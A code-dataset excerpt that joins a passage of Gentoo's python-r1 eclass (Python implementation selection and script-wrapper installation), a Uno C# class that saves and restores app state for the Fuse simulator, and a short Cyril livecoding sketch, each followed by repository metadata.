# python_is_python3). Remember to escape or quote the fnmatch patterns
# to prevent accidental shell filename expansion.
#
# This function needs to be used when Python is being called outside
# of python_foreach_impl calls (e.g. for shared processes like doc
# building). python_foreach_impl sets up the build environment itself.
#
# Pure mode example:
# @CODE
# DEPEND="doc? ( dev-python/epydoc[$(python_gen_usedep 'python2*')] )"
# REQUIRED_USE="doc? ( $(python_gen_useflags 'python2*') )"
#
# src_compile() {
# #...
# if use doc; then
# python_setup 'python2*'
# make doc
# fi
# }
# @CODE
#
# Any-of mode example:
# @CODE
# DEPEND="doc? (
# $(python_gen_any_dep 'dev-python/epydoc[${PYTHON_USEDEP}]' 'python2*') )"
#
# python_check_deps() {
# has_version "dev-python/epydoc[${PYTHON_USEDEP}]"
# }
#
# src_compile() {
# #...
# if use doc; then
# python_setup 'python2*'
# make doc
# fi
# }
# @CODE
python_setup() {
debug-print-function ${FUNCNAME} "${@}"
_python_validate_useflags
local pycompat=( "${PYTHON_COMPAT[@]}" )
if [[ ${PYTHON_COMPAT_OVERRIDE} ]]; then
pycompat=( ${PYTHON_COMPAT_OVERRIDE} )
fi
local has_check_deps
declare -f python_check_deps >/dev/null && has_check_deps=1
# (reverse iteration -- newest impl first)
local found
for (( i = ${#_PYTHON_SUPPORTED_IMPLS[@]} - 1; i >= 0; i-- )); do
local impl=${_PYTHON_SUPPORTED_IMPLS[i]}
# check PYTHON_COMPAT[_OVERRIDE]
has "${impl}" "${pycompat[@]}" || continue
# match USE flags only if override is not in effect
# and python_check_deps() is not defined
if [[ ! ${PYTHON_COMPAT_OVERRIDE} && ! ${has_check_deps} ]]; then
use "python_targets_${impl}" || continue
fi
# check patterns
_python_impl_matches "${impl}" "${@-*}" || continue
python_export "${impl}" EPYTHON PYTHON
# if python_check_deps() is declared, switch into any-of mode
if [[ ${has_check_deps} ]]; then
# first check if the interpreter is installed
python_is_installed "${impl}" || continue
# then run python_check_deps
local PYTHON_USEDEP="python_targets_${impl}(-),python_single_target_${impl}(+)"
python_check_deps || continue
fi
found=1
break
done
if [[ ! ${found} ]]; then
eerror "${FUNCNAME}: none of the enabled implementation matched the patterns."
eerror " patterns: ${@-'(*)'}"
eerror "Likely a REQUIRED_USE constraint (possibly USE-conditional) is missing."
eerror " suggested: || ( \$(python_gen_useflags ${@}) )"
eerror "(remember to quote all the patterns with '')"
die "${FUNCNAME}: no enabled implementation satisfy requirements"
fi
python_wrapper_setup
}
# @FUNCTION: python_export_best
# @USAGE: [<variable>...]
# @DESCRIPTION:
# Find the best (most preferred) Python implementation enabled
# and export given variables for it. If no variables are provided,
# EPYTHON & PYTHON will be exported.
python_export_best() {
debug-print-function ${FUNCNAME} "${@}"
[[ ${EAPI} == [45] ]] || die "${FUNCNAME} is banned in EAPI ${EAPI}"
eqawarn "python_export_best() is deprecated. Please use python_setup instead,"
eqawarn "combined with python_export if necessary."
[[ ${#} -gt 0 ]] || set -- EPYTHON PYTHON
local best MULTIBUILD_VARIANTS
_python_obtain_impls
_python_set_best() {
best=${MULTIBUILD_VARIANT}
}
multibuild_for_best_variant _python_set_best
unset -f _python_set_best
debug-print "${FUNCNAME}: Best implementation is: ${best}"
python_export "${best}" "${@}"
python_wrapper_setup
}
# @FUNCTION: python_replicate_script
# @USAGE: <path>...
# @DESCRIPTION:
# Copy the given script to variants for all enabled Python
# implementations, then replace it with a symlink to the wrapper.
#
# All specified files must start with a 'python' shebang. A file not
# having a matching shebang will be refused.
python_replicate_script() {
debug-print-function ${FUNCNAME} "${@}"
_python_replicate_script() {
local _PYTHON_FIX_SHEBANG_QUIET=1
local PYTHON_SCRIPTDIR
python_export PYTHON_SCRIPTDIR
(
exeopts -m 0755
exeinto "${PYTHON_SCRIPTDIR#${EPREFIX}}"
doexe "${files[@]}"
)
python_fix_shebang -q \
"${files[@]/*\//${D%/}/${PYTHON_SCRIPTDIR}/}"
}
local files=( "${@}" )
python_foreach_impl _python_replicate_script
unset -f _python_replicate_script
# install the wrappers
local f
for f; do
_python_ln_rel "${ED%/}/usr/lib/python-exec/python-exec2" "${f}" || die
done
}
_PYTHON_R1=1
fi
| Gentoo Eclass | 5 | NighttimeDriver50000/Sabayon-Packages | local_overlay/eclass/python-r1.eclass | [
"MIT"
] |
using Uno;
using Uno.IO;
using Uno.Collections;
using Fuse;
using Uno.Diagnostics;
using Uno.UX;
using Fuse.Controls;
using Fuse.Elements;
namespace Outracks.Simulator.Client
{
using Bytecode;
using Protocol;
using Runtime;
sealed class UserAppState
{
// This list should be up-to-date with https://www.fusetools.com/docs/fuse/app
public readonly float4 Background;
public readonly Node[] Children;
// (Current)
// (PreviousUpdateDuration)
public readonly Resource[] Resources;
public readonly float4 ClearColor;
// FrameInterval?
// FrameTime?
public UserAppState(
float4 background,
Node[] children,
Resource[] resources,
float4 clearColor)
{
Background = background;
Children = children;
Resources = resources;
ClearColor = clearColor;
}
public static UserAppState Default { get; set; }
public static UserAppState Save(FakeApp app)
{
return new UserAppState(
app.Background,
app.Children.ToArray(),
app.Resources.ToArray(),
app.ClearColor);
}
public void ApplyTo(FakeApp app)
{
if (app.Background != Background) app.Background = Background;
SetIfNotEqual(app.Children, Children);
SetIfNotEqual(app.Resources, Resources);
if (app.ClearColor != ClearColor) app.ClearColor = ClearColor;
}
static void SetIfNotEqual<T>(IList<T> list, T[] elements)
{
if (!SequenceEquals(list, elements))
SetSequence(list, elements);
}
static void SetSequence<T>(IList<T> list, T[] elements)
{
list.Clear();
list.AddRange(elements);
}
static bool SequenceEquals<T>(IList<T> left, T[] right)
{
if (left.Count != right.Length)
return false;
for (int i = 0; i < right.Length; i++)
{
if ((object)left[i] != (object)right[i])
return false;
}
return true;
}
}
}
| Uno | 4 | mortend/fuse-studio | Source/Preview/Core/UserAppState.uno | [
"MIT"
] |
push
rotate
sphereDetail 3
scale 1,2,1
sphere 1
pop
rotate 90
push
move 0,wave(1000),0
rotate
box 1.5
pop | Cycript | 3 | marcinbiegun/creativecoding-sketches | Cyril/data/code_retro/6.cy | [
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.